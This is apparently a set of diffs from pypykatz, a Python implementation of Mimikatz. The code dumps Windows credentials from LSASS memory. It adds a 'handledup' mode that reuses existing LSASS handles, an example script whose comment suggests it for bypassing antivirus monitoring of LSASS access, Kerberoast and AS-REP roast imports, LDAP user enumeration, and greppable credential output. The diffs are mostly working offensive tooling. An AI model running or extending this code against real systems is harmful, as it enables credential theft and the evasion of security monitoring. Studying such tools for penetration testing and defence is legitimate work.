172 | """ | |
173 | _NtQueryObject = windll.ntdll.NtQueryObject | |
174 | _NtQueryObject.argtypes = [HANDLE, ULONG, PVOID, ULONG, PULONG] | |
175 | _NtQueryObject.restype = ULONG | |
176 | ||
177 | #if ObjectInformationClass not in [ObjectNameInformation, ObjectTypeInformation]: | |
178 | if ObjectInformationClass != ObjectTypeInformation: | |
179 | raise Exception('Unsupported ObjectInformationClass value %s.' % ObjectInformationClass ) | |
180 | ||
181 | size = ULONG(0x10) | |
182 | oinfo_data = ctypes.create_string_buffer(size.value) | |
183 | ||
184 | while True: | |
185 | oinfo_data = ctypes.create_string_buffer(size.value) | |
186 | status = _NtQueryObject(ObjectHandle, ObjectInformationClass, oinfo_data, size, ctypes.byref(size)) | |
187 | if status == 0xc0000004: | |
188 | continue | |
189 | if status != 0: | |
190 | raise Exception('Failed call to NtDuplicateObject! Status: %s' % hex(status)) | |
191 | ||
192 | break | |
193 | ||
194 | if ObjectInformationClass == ObjectNameInformation: | |
195 | raise NotImplementedError('TODO: implement me when needed!') | |
196 | elif ObjectInformationClass == ObjectTypeInformation: | |
197 | oinfo = OBJECT_TYPE_INFORMATION.from_buffer(bytearray(oinfo_data.raw[:size.value])) | |
198 | ||
199 | return oinfo | |
200 | ⏎ |
160 | 160 | nt_hash = bytes.fromhex(nt_hash) |
161 | 161 | key1 = None |
162 | 162 | |
163 | if password: | |
163 | if password or password == '': | |
164 | 164 | md4 = hashlib.new('md4') |
165 | 165 | md4.update(password.encode('utf-16le')) |
166 | 166 | nt_hash = md4.digest() |
0 | ||
1 | # | |
2 | # In case you happen to have a DLL that has an export which returns a handle to LSASS process | |
3 | # You can use this example to load such DLL via ctypes and call pypykatz using said handle | |
4 | # Might be interesting to bypass AV monitoring openprocess on LSASS | |
5 | # | |
6 | ||
7 | from ctypes import windll, c_void_p | |
8 | from pypykatz.pypykatz import pypykatz | |
9 | ||
10 | dll_path = '' | |
11 | ||
12 | def get_lsass_handle(): | |
13 | your_dll = windll.LoadLibrary(dll_path) | |
14 | _your_function = your_dll.your_function | |
15 | _your_function.argtypes = [] #I guess no args | |
16 | _your_function.restype = c_void_p #this is basically a handle | |
17 | ||
18 | phandle = _your_function() | |
19 | ||
20 | return phandle | |
21 | ||
22 | ||
23 | phandle = get_lsass_handle() | |
24 | res = pypykatz.go_live_phandle(phandle) | |
25 | print(str(res)) |
36 | 36 | |
37 | 37 | def run_live(self, args): |
38 | 38 | from winsspi.sspi import KerberoastSSPI |
39 | from minikerberos.security import TGSTicket2hashcat, APREPRoast | |
40 | from minikerberos.utils import TGTTicket2hashcat | |
41 | from minikerberos.communication import KerberosSocket | |
42 | from minikerberos.common import KerberosTarget | |
39 | from minikerberos.common.utils import TGSTicket2hashcat, TGTTicket2hashcat | |
40 | from minikerberos.security import APREPRoast | |
41 | from minikerberos.network.clientsocket import KerberosClientSocket | |
42 | from minikerberos.common.target import KerberosTarget | |
43 | 43 | from pypykatz.commons.winapi.machine import LiveMachine |
44 | 44 | |
45 | 45 | if not args.target_file and not args.target_user: |
112 | 112 | dcip = args.dc_ip |
113 | 113 | if args.dc_ip is None: |
114 | 114 | dcip = machine.get_domain() |
115 | ks = KerberosSocket( dcip ) | |
115 | ks = KerberosClientSocket( dcip ) | |
116 | 116 | ar = APREPRoast(ks) |
117 | 117 | results = ar.run(targets) |
118 | 118 |
41 | 41 | |
42 | 42 | |
43 | 43 | def run_live(self, args): |
44 | from msldap.core import MSLDAPCredential, MSLDAPTarget, MSLDAPConnection | |
45 | from msldap.ldap_objects import MSADUser | |
46 | from msldap import logger as msldaplogger | |
47 | from pypykatz.commons.winapi.machine import LiveMachine | |
48 | ||
49 | machine = LiveMachine() | |
50 | ||
51 | if args.credential: | |
52 | creds = MSLDAPCredential.from_connection_string(args.credential) | |
53 | else: | |
54 | creds = MSLDAPCredential.get_dummy_sspi() | |
55 | ||
56 | if args.dc_ip: | |
57 | target = MSLDAPTarget(args.dc_ip) | |
58 | else: | |
59 | target = MSLDAPTarget(machine.get_domain()) | |
60 | ||
61 | connection = MSLDAPConnection(creds, target) | |
62 | connection.connect() | |
63 | ||
64 | try: | |
65 | adinfo = connection.get_ad_info() | |
66 | domain = adinfo.distinguishedName.replace('DC=','').replace(',','.') | |
67 | except Exception as e: | |
68 | logging.warning('[LDAP] Failed to get domain name from LDAP server. This is not normal, but happens. Reason: %s' % e) | |
69 | domain = machine.get_domain() | |
70 | ||
71 | if args.cmd == 'spn': | |
72 | logging.debug('Enumerating SPN user accounts...') | |
73 | cnt = 0 | |
74 | if args.out_file: | |
75 | with open(os.path.join(basefolder,basefile+'_spn_users.txt'), 'w', newline='') as f: | |
76 | for user in connection.get_all_service_user_objects(): | |
77 | cnt += 1 | |
78 | f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) | |
79 | ||
80 | else: | |
81 | print('[+] SPN users') | |
82 | for user in connection.get_all_service_user_objects(): | |
83 | cnt += 1 | |
84 | print('%s/%s' % (domain, user.sAMAccountName)) | |
85 | ||
86 | logging.debug('Enumerated %d SPN user accounts' % cnt) | |
87 | ||
88 | elif args.cmd == 'asrep': | |
89 | logging.debug('Enumerating ASREP user accounts...') | |
90 | ctr = 0 | |
91 | if args.out_file: | |
92 | with open(os.path.join(basefolder,basefile+'_asrep_users.txt'), 'w', newline='') as f: | |
93 | for user in connection.get_all_knoreq_user_objects(): | |
94 | ctr += 1 | |
95 | f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) | |
96 | else: | |
97 | print('[+] ASREP users') | |
98 | for user in connection.get_all_knoreq_user_objects(): | |
99 | ctr += 1 | |
100 | print('%s/%s' % (domain, user.sAMAccountName)) | |
101 | ||
102 | logging.debug('Enumerated %d ASREP user accounts' % ctr) | |
103 | ||
104 | elif args.cmd == 'dump': | |
105 | logging.debug('Enumerating ALL user accounts, this will take some time depending on the size of the domain') | |
106 | ctr = 0 | |
107 | attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS | |
108 | if args.out_file: | |
109 | with open(os.path.join(basefolder,basefile+'_ldap_users.tsv'), 'w', newline='', encoding ='utf8') as f: | |
110 | writer = csv.writer(f, delimiter = '\t') | |
111 | writer.writerow(attrs) | |
112 | for user in connection.get_all_user_objects(): | |
113 | ctr += 1 | |
114 | writer.writerow(user.get_row(attrs)) | |
115 | ||
116 | else: | |
117 | logging.debug('Are you sure about this?') | |
118 | print('[+] Full user dump') | |
119 | print('\t'.join(attrs)) | |
120 | for user in connection.get_all_user_objects(): | |
121 | ctr += 1 | |
122 | print('\t'.join([str(x) for x in user.get_row(attrs)])) | |
123 | ||
124 | ||
125 | logging.debug('Enumerated %d user accounts' % ctr) | |
126 | ||
127 | elif args.cmd == 'custom': | |
128 | if not args.filter: | |
129 | raise Exception('Custom LDAP search requires the search filter to be specified!') | |
130 | if not args.attrs: | |
131 | raise Exception('Custom LDAP search requires the attributes to be specified!') | |
132 | ||
133 | logging.debug('Perforing search on the AD with the following filter: %s' % args.filter) | |
134 | logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs)) | |
135 | ctr = 0 | |
136 | ||
137 | if args.out_file: | |
138 | with open(os.path.join(basefolder,basefile+'_ldap_custom.tsv'), 'w', newline='') as f: | |
139 | writer = csv.writer(f, delimiter = '\t') | |
140 | writer.writerow(args.attrs) | |
141 | for obj in connection.pagedsearch(args.filter, args.attrs): | |
142 | ctr += 1 | |
143 | writer.writerow([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs]) | |
144 | ||
145 | else: | |
146 | for obj in connection.pagedsearch(args.filter, args.attrs): | |
147 | ctr += 1 | |
148 | print('\t'.join([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs])) | |
149 | ||
150 | logging.debug('Custom search yielded %d results!' % ctr) | |
44 | raise Exception('Coming soon...') | |
151 | 45 | |
152 | 46 | def run(self, args): |
153 | from msldap.core import MSLDAPCredential, MSLDAPTarget, MSLDAPConnection | |
154 | from msldap.ldap_objects import MSADUser | |
155 | from msldap import logger as msldaplogger | |
156 | ||
157 | if not args.credential: | |
158 | raise Exception('You must provide credentials when using ldap in platform independent mode.') | |
159 | ||
160 | creds = MSLDAPCredential.from_connection_string(args.credential) | |
161 | target = MSLDAPTarget.from_connection_string(args.credential) | |
162 | ||
163 | connection = MSLDAPConnection(creds, target) | |
164 | connection.connect() | |
165 | ||
166 | try: | |
167 | adinfo = connection.get_ad_info() | |
168 | domain = adinfo.distinguishedName.replace('DC=','').replace(',','.') | |
169 | except Exception as e: | |
170 | logging.warning('[LDAP] Failed to get domain name from LDAP server. This is not normal, but happens. Reason: %s' % e) | |
171 | domain = machine.get_domain() | |
172 | ||
173 | if args.cmd == 'spn': | |
174 | logging.debug('Enumerating SPN user accounts...') | |
175 | cnt = 0 | |
176 | if args.out_file: | |
177 | with open(os.path.join(basefolder,basefile+'_spn_users.txt'), 'w', newline='') as f: | |
178 | for user in connection.get_all_service_user_objects(): | |
179 | cnt += 1 | |
180 | f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) | |
181 | ||
182 | else: | |
183 | print('[+] SPN users') | |
184 | for user in connection.get_all_service_user_objects(): | |
185 | cnt += 1 | |
186 | print('%s/%s' % (domain, user.sAMAccountName)) | |
187 | ||
188 | logging.debug('Enumerated %d SPN user accounts' % cnt) | |
189 | ||
190 | elif args.cmd == 'asrep': | |
191 | logging.debug('Enumerating ASREP user accounts...') | |
192 | ctr = 0 | |
193 | if args.out_file: | |
194 | with open(os.path.join(basefolder,basefile+'_asrep_users.txt'), 'w', newline='') as f: | |
195 | for user in connection.get_all_knoreq_user_objects(): | |
196 | ctr += 1 | |
197 | f.write('%s/%s\r\n' % (domain, user.sAMAccountName)) | |
198 | else: | |
199 | print('[+] ASREP users') | |
200 | for user in connection.get_all_knoreq_user_objects(): | |
201 | ctr += 1 | |
202 | print('%s/%s' % (domain, user.sAMAccountName)) | |
203 | ||
204 | logging.debug('Enumerated %d ASREP user accounts' % ctr) | |
205 | ||
206 | elif args.cmd == 'dump': | |
207 | logging.debug('Enumerating ALL user accounts, this will take some time depending on the size of the domain') | |
208 | ctr = 0 | |
209 | attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS | |
210 | if args.out_file: | |
211 | with open(os.path.join(basefolder,basefile+'_ldap_users.tsv'), 'w', newline='', encoding ='utf8') as f: | |
212 | writer = csv.writer(f, delimiter = '\t') | |
213 | writer.writerow(attrs) | |
214 | for user in connection.get_all_user_objects(): | |
215 | ctr += 1 | |
216 | writer.writerow(user.get_row(attrs)) | |
217 | ||
218 | else: | |
219 | logging.debug('Are you sure about this?') | |
220 | print('[+] Full user dump') | |
221 | print('\t'.join(attrs)) | |
222 | for user in connection.get_all_user_objects(): | |
223 | ctr += 1 | |
224 | print('\t'.join([str(x) for x in user.get_row(attrs)])) | |
225 | ||
226 | ||
227 | logging.debug('Enumerated %d user accounts' % ctr) | |
228 | ||
229 | elif args.cmd == 'custom': | |
230 | if not args.filter: | |
231 | raise Exception('Custom LDAP search requires the search filter to be specified!') | |
232 | if not args.attrs: | |
233 | raise Exception('Custom LDAP search requires the attributes to be specified!') | |
234 | ||
235 | logging.debug('Perforing search on the AD with the following filter: %s' % args.filter) | |
236 | logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs)) | |
237 | ctr = 0 | |
238 | ||
239 | if args.out_file: | |
240 | with open(os.path.join(basefolder,basefile+'_ldap_custom.tsv'), 'w', newline='') as f: | |
241 | writer = csv.writer(f, delimiter = '\t') | |
242 | writer.writerow(args.attrs) | |
243 | for obj in connection.pagedsearch(args.filter, args.attrs): | |
244 | ctr += 1 | |
245 | writer.writerow([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs]) | |
246 | ||
247 | else: | |
248 | for obj in connection.pagedsearch(args.filter, args.attrs): | |
249 | ctr += 1 | |
250 | print('\t'.join([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs])) | |
251 | ||
252 | logging.debug('Custom search yielded %d results!' % ctr) | |
47 | raise Exception('Coming soon...') | |
253 | 48 | ⏎ |
28 | 28 | live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') |
29 | 29 | live_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.') |
30 | 30 | live_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format') |
31 | live_group.add_argument('--method', choices = ['procopen', 'handledup'], default = 'procopen', help = 'Print credentials in greppable format') | |
31 | 32 | |
32 | 33 | group = parser.add_parser('lsa', help='Get secrets from memory dump') |
33 | 34 | group.add_argument('cmd', choices=['minidump','rekall']) |
143 | 144 | if args.module == 'lsa': |
144 | 145 | filename = 'live' |
145 | 146 | try: |
146 | mimi = pypykatz.go_live() | |
147 | if args.method == 'procopen': | |
148 | mimi = pypykatz.go_live() | |
149 | elif args.method == 'handledup': | |
150 | mimi = pypykatz.go_handledup() | |
151 | if mimi is None: | |
152 | raise Exception('HANDLEDUP failed to bring any results!') | |
147 | 153 | results['live'] = mimi |
148 | 154 | except Exception as e: |
149 | 155 | files_with_error.append(filename) |
91 | 91 | self.log('Looking for main struct signature in memory...') |
92 | 92 | fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.signature) |
93 | 93 | if len(fl) == 0: |
94 | logging.warning('signature not found! %s' % self.decryptor_template.signature.hex()) | |
94 | logging.debug('signature not found! %s' % self.decryptor_template.signature.hex()) | |
95 | 95 | raise Exception('LSA signature not found!') |
96 | 96 | |
97 | 97 | self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl)) |
42 | 42 | self.log('Looking for main struct signature in memory...') |
43 | 43 | fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.key_pattern.signature) |
44 | 44 | if len(fl) == 0: |
45 | logger.warning('signature not found! %s' % self.decryptor_template.key_pattern.signature.hex()) | |
45 | logger.debug('signature not found! %s' % self.decryptor_template.key_pattern.signature.hex()) | |
46 | 46 | raise Exception('LSA signature not found!') |
47 | 47 | |
48 | 48 | self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl)) |
372 | 372 | continue |
373 | 373 | |
374 | 374 | self.walk_list(entry_ptr, self.add_entry) |
375 | ||
376 | #self.brute_test() | |
377 | ||
378 | #def brute_test(self): | |
379 | # from pypykatz.commons.win_datatypes import LUID | |
380 | # luid_int = 1138792 | |
381 | # luid_bytes = luid_int.to_bytes(8, byteorder='little', signed=False) | |
382 | # needle_luid = LUID(io.BytesIO(luid_bytes)).value | |
383 | # offset = 0x70 | |
384 | # | |
385 | # for luid_pos in self.reader.find_all_global(luid_bytes): | |
386 | # self.reader.move(luid_pos - offset) | |
387 | # et = self.decryptor_template.list_entry(self.reader).finaltype | |
388 | # self.reader.move(luid_pos - offset) | |
389 | # test_ptr = et(self.reader) | |
390 | # if test_ptr.LocallyUniqueIdentifier == needle_luid: | |
391 | # print('HIT!') | |
392 | # entry_ptr = self.decryptor_template.list_entry(self.reader) | |
393 | # try: | |
394 | # self.walk_list(test_ptr.Flink, self.add_entry) | |
395 | # except Exception as e: | |
396 | # print('ERR! %s' % e)⏎ |
13 | 13 | TspkgDecryptor, TspkgTemplate, KerberosTemplate, KerberosDecryptor, \ |
14 | 14 | DpapiTemplate, DpapiDecryptor, LsaDecryptor |
15 | 15 | |
16 | from pypykatz.lsadecryptor.packages.msv.decryptor import LogonSession | |
16 | 17 | from pypykatz import logger |
17 | 18 | from pypykatz.commons.common import UniversalEncoder |
18 | 19 | from minidump.minidumpfile import MinidumpFile |
45 | 46 | return t |
46 | 47 | |
47 | 48 | def to_json(self): |
48 | return json.dumps(self.to_dict(), cls = UniversalEncoder) | |
49 | ||
49 | return json.dumps(self.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True) | |
50 | ||
51 | def to_grep(self): | |
52 | res = ':'.join(LogonSession.grep_header) + '\r\n' | |
53 | for luid in self.logon_sessions: | |
54 | for row in self.logon_sessions[luid].to_grep_rows(): | |
55 | res += ':'.join(row) + '\r\n' | |
56 | for cred in self.orphaned_creds: | |
57 | t = cred.to_dict() | |
58 | if t['credtype'] != 'dpapi': | |
59 | if t['password'] is not None: | |
60 | x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])] | |
61 | res += ':'.join(x) + '\r\n' | |
62 | else: | |
63 | t = cred.to_dict() | |
64 | x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] | |
65 | res += ':'.join(x) + '\r\n' | |
66 | ||
67 | return res | |
68 | ||
69 | def __str__(self): | |
70 | res = '== Logon credentials ==\r\n' | |
71 | for luid in self.logon_sessions: | |
72 | res += str(self.logon_sessions[luid]) + '\r\n' | |
73 | ||
74 | if len(self.orphaned_creds) > 0: | |
75 | res += '== Orphaned credentials ==\r\n' | |
76 | for cred in self.orphaned_creds: | |
77 | res += str(cred) + '\r\n' | |
78 | ||
79 | return res | |
80 | ||
50 | 81 | @staticmethod |
51 | 82 | def go_live(): |
52 | 83 | if platform.system() != 'Windows': |
53 | 84 | raise Exception('Live parsing will only work on Windows') |
54 | 85 | from pypykatz.commons.readers.local.live_reader import LiveReader |
55 | 86 | reader = LiveReader() |
87 | sysinfo = KatzSystemInfo.from_live_reader(reader) | |
88 | mimi = pypykatz(reader.get_buffered_reader(), sysinfo) | |
89 | mimi.start() | |
90 | return mimi | |
91 | ||
92 | @staticmethod | |
93 | def go_handledup(): | |
94 | if platform.system() != 'Windows': | |
95 | raise Exception('Live parsing will only work on Windows') | |
96 | from pypykatz.commons.winapi.local.function_defs.live_reader_ctypes import enum_lsass_handles | |
97 | lsass_handles = enum_lsass_handles() | |
98 | if len(lsass_handles) == 0: | |
99 | raise Exception('No handles found to LSASS!') | |
100 | for pid, lsass_handle in lsass_handles: | |
101 | try: | |
102 | return pypykatz.go_live_phandle(lsass_handle) | |
103 | except Exception as e: | |
104 | print('[-] Failed to parse lsass via handle %s[@%s] Reason: %s' % (pid, lsass_handle, e)) | |
105 | ||
106 | @staticmethod | |
107 | def go_live_phandle(lsass_process_handle): | |
108 | if platform.system() != 'Windows': | |
109 | raise Exception('Live parsing will only work on Windows') | |
110 | from pypykatz.commons.readers.local.live_reader import LiveReader | |
111 | reader = LiveReader(lsass_process_handle=lsass_process_handle) | |
56 | 112 | sysinfo = KatzSystemInfo.from_live_reader(reader) |
57 | 113 | mimi = pypykatz(reader.get_buffered_reader(), sysinfo) |
58 | 114 | mimi.start() |
169 | 225 | |
170 | 226 | def get_lsa_bruteforce(self): |
171 | 227 | #good luck! |
172 | logger.info('Testing all available templates! Expect warnings!') | |
228 | logger.debug('Testing all available templates! Expect warnings!') | |
173 | 229 | for lsa_dec_template in LsaTemplate.get_template_brute(self.sysinfo): |
174 | 230 | try: |
175 | 231 | lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo) |
177 | 233 | except: |
178 | 234 | pass |
179 | 235 | else: |
180 | logger.info('Lucky you! Brutefoce method found a -probably- working template!') | |
236 | logger.debug('Lucky you! Brutefoce method found a -probably- working template!') | |
181 | 237 | return lsa_dec |
182 | 238 | |
183 | 239 | def get_lsa(self): |
186 | 242 | lsa_dec_template = LsaTemplate.get_template(self.sysinfo) |
187 | 243 | lsa_dec = LsaDecryptor.choose(self.reader, lsa_dec_template, self.sysinfo) |
188 | 244 | logger.debug(lsa_dec.dump()) |
189 | except: | |
190 | logger.exception('Failed to automatically detect correct LSA template!') | |
245 | except Exception as e: | |
246 | logger.debug('Failed to automatically detect correct LSA template! Reason: %s' % str(e)) | |
191 | 247 | lsa_dec = self.get_lsa_bruteforce() |
192 | 248 | if lsa_dec is None: |
193 | 249 | raise Exception('All detection methods failed.') |
2 | 2 | # Author: |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | import json | |
5 | 6 | |
6 | 7 | class SAMSecret: |
7 | 8 | def __init__(self, username, rid, nt_hash, lm_hash): |
195 | 195 | self.homedir = None |
196 | 196 | self.homedir_connect = None |
197 | 197 | self.script_path = None |
198 | self.profile_path = None | |
199 | 198 | self.profile_path = None |
200 | 199 | self.workstations = None |
201 | 200 | self.hoursallowed = None |
374 | 373 | t += ' %s: %s: %s' % (k, i, str(item)) |
375 | 374 | else: |
376 | 375 | t += '%s: %s \r\n' % (k, str(self.__dict__[k])) |
377 | return t⏎ | |
376 | return t |
0 | Metadata-Version: 1.2 | |
1 | Name: pypykatz | |
2 | Version: 0.3.7 | |
3 | Summary: Python implementation of Mimikatz | |
4 | Home-page: https://github.com/skelsec/pypykatz | |
5 | Author: Tamas Jos | |
6 | Author-email: [email protected] | |
7 | License: UNKNOWN | |
8 | Description: UNKNOWN | |
9 | Platform: UNKNOWN | |
10 | Classifier: Programming Language :: Python :: 3.6 | |
11 | Classifier: License :: OSI Approved :: MIT License | |
12 | Classifier: Operating System :: OS Independent | |
13 | Requires-Python: >=3.6 |
0 | README.md | |
1 | setup.py | |
2 | pypykatz/__init__.py | |
3 | pypykatz/__main__.py | |
4 | pypykatz/_version.py | |
5 | pypykatz/pypykatz.py | |
6 | pypykatz.egg-info/PKG-INFO | |
7 | pypykatz.egg-info/SOURCES.txt | |
8 | pypykatz.egg-info/dependency_links.txt | |
9 | pypykatz.egg-info/entry_points.txt | |
10 | pypykatz.egg-info/requires.txt | |
11 | pypykatz.egg-info/top_level.txt | |
12 | pypykatz.egg-info/zip-safe | |
13 | pypykatz/commons/__init__.py | |
14 | pypykatz/commons/common.py | |
15 | pypykatz/commons/filetime.py | |
16 | pypykatz/commons/kerberosticket.py | |
17 | pypykatz/commons/win_datatypes.py | |
18 | pypykatz/commons/readers/__init__.py | |
19 | pypykatz/commons/readers/local/__init__.py | |
20 | pypykatz/commons/readers/local/live_reader.py | |
21 | pypykatz/commons/readers/local/common/__init__.py | |
22 | pypykatz/commons/readers/local/common/advapi32.py | |
23 | pypykatz/commons/readers/local/common/defines.py | |
24 | pypykatz/commons/readers/local/common/fileinfo.py | |
25 | pypykatz/commons/readers/local/common/kernel32.py | |
26 | pypykatz/commons/readers/local/common/live_reader_ctypes.py | |
27 | pypykatz/commons/readers/local/common/privileges.py | |
28 | pypykatz/commons/readers/local/common/privileges_types.py | |
29 | pypykatz/commons/readers/local/common/psapi.py | |
30 | pypykatz/commons/readers/local/common/version.py | |
31 | pypykatz/commons/readers/local/common/winreg.py | |
32 | pypykatz/commons/readers/registry/__init__.py | |
33 | pypykatz/commons/readers/registry/live/__init__.py | |
34 | pypykatz/commons/readers/registry/live/reader.py | |
35 | pypykatz/commons/readers/rekall/__init__.py | |
36 | pypykatz/commons/readers/rekall/rekallreader.py | |
37 | pypykatz/commons/readers/volatility3/__init__.py | |
38 | pypykatz/commons/readers/volatility3/volreader.py | |
39 | pypykatz/commons/winapi/__init__.py | |
40 | pypykatz/commons/winapi/constants.py | |
41 | pypykatz/commons/winapi/machine.py | |
42 | pypykatz/commons/winapi/processmanipulator.py | |
43 | pypykatz/commons/winapi/local/__init__.py | |
44 | pypykatz/commons/winapi/local/advapi32.py | |
45 | pypykatz/commons/winapi/local/kernel32.py | |
46 | pypykatz/commons/winapi/local/localwindowsapi.py | |
47 | pypykatz/commons/winapi/local/ntdll.py | |
48 | pypykatz/commons/winapi/local/psapi.py | |
49 | pypykatz/commons/winapi/local/sid.py | |
50 | pypykatz/commons/winapi/local/function_defs/__init__.py | |
51 | pypykatz/commons/winapi/local/function_defs/advapi32.py | |
52 | pypykatz/commons/winapi/local/function_defs/defines.py | |
53 | pypykatz/commons/winapi/local/function_defs/fileinfo.py | |
54 | pypykatz/commons/winapi/local/function_defs/kernel32.py | |
55 | pypykatz/commons/winapi/local/function_defs/live_reader_ctypes.py | |
56 | pypykatz/commons/winapi/local/function_defs/netapi32.py | |
57 | pypykatz/commons/winapi/local/function_defs/netapi32_high.py | |
58 | pypykatz/commons/winapi/local/function_defs/ntdll.py | |
59 | pypykatz/commons/winapi/local/function_defs/privileges.py | |
60 | pypykatz/commons/winapi/local/function_defs/privileges_types.py | |
61 | pypykatz/commons/winapi/local/function_defs/psapi.py | |
62 | pypykatz/commons/winapi/local/function_defs/version.py | |
63 | pypykatz/commons/winapi/local/function_defs/winreg.py | |
64 | pypykatz/crypto/RC4.py | |
65 | pypykatz/crypto/__init__.py | |
66 | pypykatz/crypto/des.py | |
67 | pypykatz/crypto/aes/AES.py | |
68 | pypykatz/crypto/aes/__init__.py | |
69 | pypykatz/crypto/aes/blockfeeder.py | |
70 | pypykatz/crypto/aes/util.py | |
71 | pypykatz/crypto/unified/__init__.py | |
72 | pypykatz/crypto/unified/aes.py | |
73 | pypykatz/crypto/unified/common.py | |
74 | pypykatz/crypto/unified/des.py | |
75 | pypykatz/crypto/unified/des3.py | |
76 | pypykatz/crypto/unified/pbkdf2.py | |
77 | pypykatz/crypto/unified/pkcs7.py | |
78 | pypykatz/dpapi/__init__.py | |
79 | pypykatz/dpapi/constants.py | |
80 | pypykatz/dpapi/dpapi.py | |
81 | pypykatz/dpapi/structures/__init__.py | |
82 | pypykatz/dpapi/structures/blob.py | |
83 | pypykatz/dpapi/structures/credentialfile.py | |
84 | pypykatz/dpapi/structures/masterkeyfile.py | |
85 | pypykatz/dpapi/structures/system.py | |
86 | pypykatz/dpapi/structures/vault.py | |
87 | pypykatz/kerberos/__init__.py | |
88 | pypykatz/kerberos/cmdhelper.py | |
89 | pypykatz/ldap/__init__.py | |
90 | pypykatz/ldap/cmdhelper.py | |
91 | pypykatz/lsadecryptor/__init__.py | |
92 | pypykatz/lsadecryptor/cmdhelper.py | |
93 | pypykatz/lsadecryptor/lsa_decryptor.py | |
94 | pypykatz/lsadecryptor/lsa_decryptor_nt5.py | |
95 | pypykatz/lsadecryptor/lsa_decryptor_nt6.py | |
96 | pypykatz/lsadecryptor/lsa_template_nt5.py | |
97 | pypykatz/lsadecryptor/lsa_template_nt6.py | |
98 | pypykatz/lsadecryptor/lsa_templates.py | |
99 | pypykatz/lsadecryptor/package_commons.py | |
100 | pypykatz/lsadecryptor/packages/__init__.py | |
101 | pypykatz/lsadecryptor/packages/credman/__init__.py | |
102 | pypykatz/lsadecryptor/packages/credman/templates.py | |
103 | pypykatz/lsadecryptor/packages/dpapi/__init__.py | |
104 | pypykatz/lsadecryptor/packages/dpapi/decryptor.py | |
105 | pypykatz/lsadecryptor/packages/dpapi/templates.py | |
106 | pypykatz/lsadecryptor/packages/kerberos/__init__.py | |
107 | pypykatz/lsadecryptor/packages/kerberos/decryptor.py | |
108 | pypykatz/lsadecryptor/packages/kerberos/templates.py | |
109 | pypykatz/lsadecryptor/packages/livessp/__init__.py | |
110 | pypykatz/lsadecryptor/packages/livessp/decryptor.py | |
111 | pypykatz/lsadecryptor/packages/livessp/templates.py | |
112 | pypykatz/lsadecryptor/packages/msv/__init__.py | |
113 | pypykatz/lsadecryptor/packages/msv/decryptor.py | |
114 | pypykatz/lsadecryptor/packages/msv/templates.py | |
115 | pypykatz/lsadecryptor/packages/ssp/__init__.py | |
116 | pypykatz/lsadecryptor/packages/ssp/decryptor.py | |
117 | pypykatz/lsadecryptor/packages/ssp/templates.py | |
118 | pypykatz/lsadecryptor/packages/tspkg/__init__.py | |
119 | pypykatz/lsadecryptor/packages/tspkg/decryptor.py | |
120 | pypykatz/lsadecryptor/packages/tspkg/templates.py | |
121 | pypykatz/lsadecryptor/packages/wdigest/__init__.py | |
122 | pypykatz/lsadecryptor/packages/wdigest/decryptor.py | |
123 | pypykatz/lsadecryptor/packages/wdigest/templates.py | |
124 | pypykatz/plugins/__init__.py | |
125 | pypykatz/plugins/pypykatz_rekall.py | |
126 | pypykatz/registry/__init__.py | |
127 | pypykatz/registry/cmdhelper.py | |
128 | pypykatz/registry/live_parser.py | |
129 | pypykatz/registry/offline_parser.py | |
130 | pypykatz/registry/sam/__init__.py | |
131 | pypykatz/registry/sam/common.py | |
132 | pypykatz/registry/sam/sam.py | |
133 | pypykatz/registry/sam/structures.py | |
134 | pypykatz/registry/security/__init__.py | |
135 | pypykatz/registry/security/common.py | |
136 | pypykatz/registry/security/security.py | |
137 | pypykatz/registry/security/structures.py | |
138 | pypykatz/registry/software/__init__.py | |
139 | pypykatz/registry/software/software.py | |
140 | pypykatz/registry/system/__init__.py | |
141 | pypykatz/registry/system/system.py | |
142 | pypykatz/remote/__init__.py | |
143 | pypykatz/remote/cmdhelper.py | |
144 | pypykatz/remote/live/__init__.py | |
145 | pypykatz/remote/live/common/__init__.py | |
146 | pypykatz/remote/live/common/common.py | |
147 | pypykatz/remote/live/localgroup/__init__.py | |
148 | pypykatz/remote/live/localgroup/enumerator.py | |
149 | pypykatz/remote/live/session/__init__.py | |
150 | pypykatz/remote/live/session/enumerator.py | |
151 | pypykatz/remote/live/share/__init__.py | |
152 | pypykatz/remote/live/share/enumerator.py | |
153 | pypykatz/utils/__init__.py | |
154 | pypykatz/utils/crypto/__init__.py | |
155 | pypykatz/utils/crypto/cmdhelper.py | |
156 | pypykatz/utils/crypto/gppassword.py | |
157 | pypykatz/utils/crypto/winhash.py | |
158 | pypykatz/utils/sake/__init__.py | |
159 | pypykatz/utils/sake/sake.py⏎ |
0 | 0 | from setuptools import setup, find_packages |
1 | 1 | import re |
2 | import platform | |
2 | 3 | |
3 | 4 | VERSIONFILE="pypykatz/_version.py" |
4 | 5 | verstrline = open(VERSIONFILE, "rt").read() |
9 | 10 | else: |
10 | 11 | raise RuntimeError("Unable to find version string in %s." % (VERSIONFILE,)) |
11 | 12 | |
13 | ep = { | |
14 | 'console_scripts': [ | |
15 | 'pypykatz = pypykatz.__main__:main', | |
16 | ], | |
17 | } | |
18 | ||
12 | 19 | setup( |
13 | 20 | # Application name: |
